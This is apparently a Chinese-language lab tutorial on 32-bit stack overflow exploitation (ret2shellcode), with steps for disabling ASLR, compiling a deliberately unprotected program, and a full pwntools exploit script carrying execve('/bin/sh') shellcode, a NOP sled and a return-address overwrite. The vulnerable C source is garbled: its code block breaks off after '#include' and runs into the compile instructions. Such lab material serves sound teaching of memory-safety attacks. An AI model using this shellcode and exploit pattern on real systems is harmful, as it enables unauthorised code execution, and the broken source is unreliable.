2. 栈溢出进阶
任务目标
本案例要求你在关闭 NX(No-eXecute)保护的 32 位 Linux 程序中,通过栈溢出将 shellcode 写入栈区,并劫持返回地址跳转至 shellcode 执行,从而获得 shell。完成本案例后,你将掌握 ret2shellcode 的核心利用思路:定位溢出点、布置 shellcode、计算栈地址并精确覆盖返回地址。
环境与依赖
- 操作系统:Ubuntu 20.04+(或任意 Linux 发行版)
- 编译工具:gcc、gdb、python3、pwntools
- 关闭 ASLR(地址随机化):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space - 编译选项:
-fno-stack-protector -z execstack -no-pie -m32
漏洞程序
以下为存在栈溢出的目标程序。它读取用户输入并拷贝至 64 字节的缓冲区,未做边界检查,导致可覆盖返回地址。
```c #include编译命令:
```bash gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c ```确认保护状态:checksec vuln 应显示 NX: disabled 且 Stack: No canary found。
利用思路与完整 Exploit
利用步骤:
- 确定溢出点到返回地址的偏移量(本例为 76 字节:64 字节缓冲区 + 12 字节填充)。
- 在缓冲区起始处放置 shellcode(使用 23 字节的 execve("/bin/sh") shellcode)。
- 用
nop雪橇填充 shellcode 与返回地址之间的空隙,提高命中率。 - 覆盖返回地址为 buf 的栈地址(需在调试器中获取)。
以下为完整 exploit 脚本:
```python from pwn import * context.arch = 'i386' context.log_level = 'error' # 连接本地进程 p = process('./vuln') # 23 字节 execve("/bin/sh", NULL, NULL) shellcode shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # 获取 buf 的栈地址(需通过 gdb 或 core dump 获取) # 示例:在 gdb 中 break *vulnerable+? 后查看 $esp,或使用 pattern 计算 buf_addr = 0xffffd0a0 # 替换为实际地址 payload = b'\x90' * 20 # NOP 雪橇 payload += shellcode # shellcode payload += b'A' * (76 - len(payload)) # 填充至返回地址 payload += p32(buf_addr) # 覆盖返回地址为 buf 地址 p.send(payload) p.interactive() ```获取栈地址的方法
由于关闭了 ASLR,栈地址固定。使用 gdb 获取:
```bash gdb ./vuln (gdb) break *vulnerable+20 (gdb) run < /dev/null (gdb) print $esp ```记下输出的地址,即为 buf 的起始地址(可能需微调 ±8 字节)。将上述 exploit 中的 buf_addr 替换为该值。
验证与判定标准
- 运行 exploit:
python3 exploit.py。 - 若成功,你将获得交互式 shell,输入
whoami或id能看到当前用户输出。 - 若失败,程序会报
Segmentation fault。此时检查:
- 偏移量是否正确(可用 pattern 工具验证);
- buf_addr 是否准确(在 gdb 中确认);
- NX 是否确实关闭(
readelf -l vuln | grep GNU_STACK应显示RWX)。
常见问题
- 栈地址不准确:由于环境差异,gdb 中看到的地址可能与实际运行有偏差。可在 exploit 中尝试
buf_addr ± 16范围内的多个值。 - shellcode 失效:确认 shellcode 无空字节(
\x00),否则会被read截断。 - 偏移量错误:使用 pwntools 的
cyclic功能生成模式串,通过gdb查看崩溃时的 EIP 值来确定精确偏移。
本案例核心在于理解栈布局与返回地址劫持。成功执行 shellcode 后,即完成了对 NX 关闭程序的利用闭环。